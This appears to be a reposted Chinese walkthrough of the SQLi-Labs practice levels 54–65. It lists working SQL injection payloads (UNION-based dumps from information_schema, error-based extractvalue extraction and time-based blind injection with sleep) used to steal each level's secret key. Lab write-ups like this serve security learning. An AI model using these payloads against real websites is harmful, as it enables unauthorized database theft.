SQLi-Labs:Less54-Less65

摘要:
Id=1'and extractvalue--+输入密钥并单击提交,其余与58级别一致。Less60id以“),另一个与58级别一致。Less61id以')结尾。另一个则与58级别相同。Less62一进入级别,就可以看出数据库的名称已经被赋予了挑战。我们使用盲时间注入需要太多时间,所以让我们简单地演示一下,例如,猜猜表的第一个字母?

从54关开始,开始慢慢偏向于实际环境,加了次数限制之类的

Less 54

本关中是对输入的次数做了限制,必须在10次请求之内获取信息,否则会刷新表名

首先判断了单引号闭合

?id=1'

SQLi-Labs:Less54-Less65第1张

 判断有三列

?id=1' order by 3--+

SQLi-Labs:Less54-Less65第2张

 爆库

?id=-1' union select 1,database(),3--+ 

SQLi-Labs:Less54-Less65第3张

 爆表

?id=-1' union select 1,(select group_concat(table_name)from information_schema.tables where table_schema=database()),3--+

SQLi-Labs:Less54-Less65第4张

 爆字段

?id=-1' union select 1,(select group_concat(column_name)from information_schema.columns where table_name='ovp1oney4x'),3--+

SQLi-Labs:Less54-Less65第5张

 爆内容

?id=-1' union select 1,(select secret_FZ6A from ovp1oney4x),3--+

SQLi-Labs:Less54-Less65第6张

输入secret key

SQLi-Labs:Less54-Less65第7张

 此关结束~~~


Less 55

本关14次注入机会,闭合方式为(),其余均与54关操作一致


Less 56

闭合方式为(''),其余均与54关操作一致


Less 57

闭合方式为"",其余均与54关操作一致


Less 58

这一关不能使用联合查询,并且要求在5次之内获得数据,所以我们采用报错注入

因为只有五次机会,所以我们珍惜这五次机会,知道数据库是challenges

爆表名

?id=1' and extractvalue(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database())))--+

SQLi-Labs:Less54-Less65第8张

 爆字段名

?id=1' and extractvalue(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name='q1q98yq7bt')))--+

SQLi-Labs:Less54-Less65第9张

 爆内容获取secret key

?id=1' and extractvalue(1,concat(0x7e,(select secret_E1KD from q1q98yq7bt)))--+

SQLi-Labs:Less54-Less65第10张

 输入secret key点击submit

SQLi-Labs:Less54-Less65第11张

 此关结束


Less 59

id不需要进行闭合,其他均与58关一致


Less 60

id用")进行闭合,其他与58关一致


Less 61

id用'))进行闭合,其他与58关一致


Less 62

一进去可以看到这一关已经给出了数据库的名字是challenges,我们采用时间盲注的方式

时间盲注太费时,所以我们简单示范一下嗷

比如猜表的第一个字母(我先去MySQL命令行show了一下tables,所以我知道了这个表第一个字母是g)

?id=1') and if(ascii(left((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))>102,1,sleep(5))--+

SQLi-Labs:Less54-Less65第12张

 ?id=1') and if(ascii(left((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))>103,1,sleep(5))--+

SQLi-Labs:Less54-Less65第13张

 所以这个表第一个字母是g


Less 63

id用单引号闭合,其他与62关一致


Less 64

id用))闭合,其他与62关一致


Less 65

id用")闭合,其他与62关一致


sqli-labs闯关就到这里啦,祝好~~~

免责声明:文章转载自《SQLi-Labs:Less54-Less65》仅用于学习参考。如对内容有疑问,请及时联系本站处理。

上篇DB里面命名规范swagger2的常用注解,传递参数的注意使用方法下篇

宿迁高防,2C2G15M,22元/月;香港BGP,2C5G5M,25元/月 雨云优惠码:MjYwNzM=

相关文章

SQL Server 排序规则(摘)

3Sql Server数据库,在跨库多表连接查询时,若两数据库默认字符集不同,系统就会返回这样的错误:“无法解决equal to操作的排序规则冲突” 一、错误分析:这个错误是因为排序规则不一致造成的,比如:create table #t1(name varchar(20) collate Albanian_CI_AI_WS,  value int)cre...

more和less命令详解

基础命令学习目录首页 原文链接:https://www.cnblogs.com/aijianshi/p/5750911.html 一、more命令 more功能类似 cat ,cat命令是整个文件的内容从上到下显示在屏幕上。 more会以一页一页的显示方便使用者逐页阅读,而最基本的指令就是按空白键(space)就往下一页显示,按 b 键就会往回(back)...

BW:数据源抽取机制 . 沧海

大部分知识源于TBW350和SAP SDN。 对数据源抽取机制的深入探讨 一、什么数据源需要初始化,为什么要进行初始化 有增量机制的数据源就需要初始化,初始化的目的是为了给系统一个时间点,来生成Delta队列。 怎样进行初始化:其实当我们跑I包的时候,Delta队列就建立了,这个和Setup table没有关系 Setup table是怎么回事儿:在LO(...

[转]Oracle 树操作(select…start with…connect by…prior)

原文地址:https://www.cnblogs.com/colder/p/4838574.html oracle树查询的最重要的就是select…start with…connect by…prior语法了。依托于该语法,我们可以将一个表形结构的以树的顺序列出来。在下面列述了oracle中树型查询的常用查询方式以及经常使用的与树查询相关的oracle特...

ClickHouse学习系列之五【系统库system说明】

背景   之前介绍过ClickHouse相关的系列文章,现在ClickHouse已经能正常使用起来了,包括副本和分片。因为ClickHouse已经可以提供服务了,现在需要关心的就是服务期间该数据库的各项性能指标的情况,如CPU、内存、查询等等。其实在安装完ClickHouse之后,有个内置的数据库system,该库下保存了很多需要的信息,类似于MySQL中...

mysql复制表和表结构

一、CREATE TABLE 方法 整表复制 # create table 新表 select * from 旧表;结构复制 # create table 新表 select * from 旧表 where 1<>1; 二、INSERT INTO 方法 得到建表语句 # show create table 旧表;新建表复制数据到新表 #...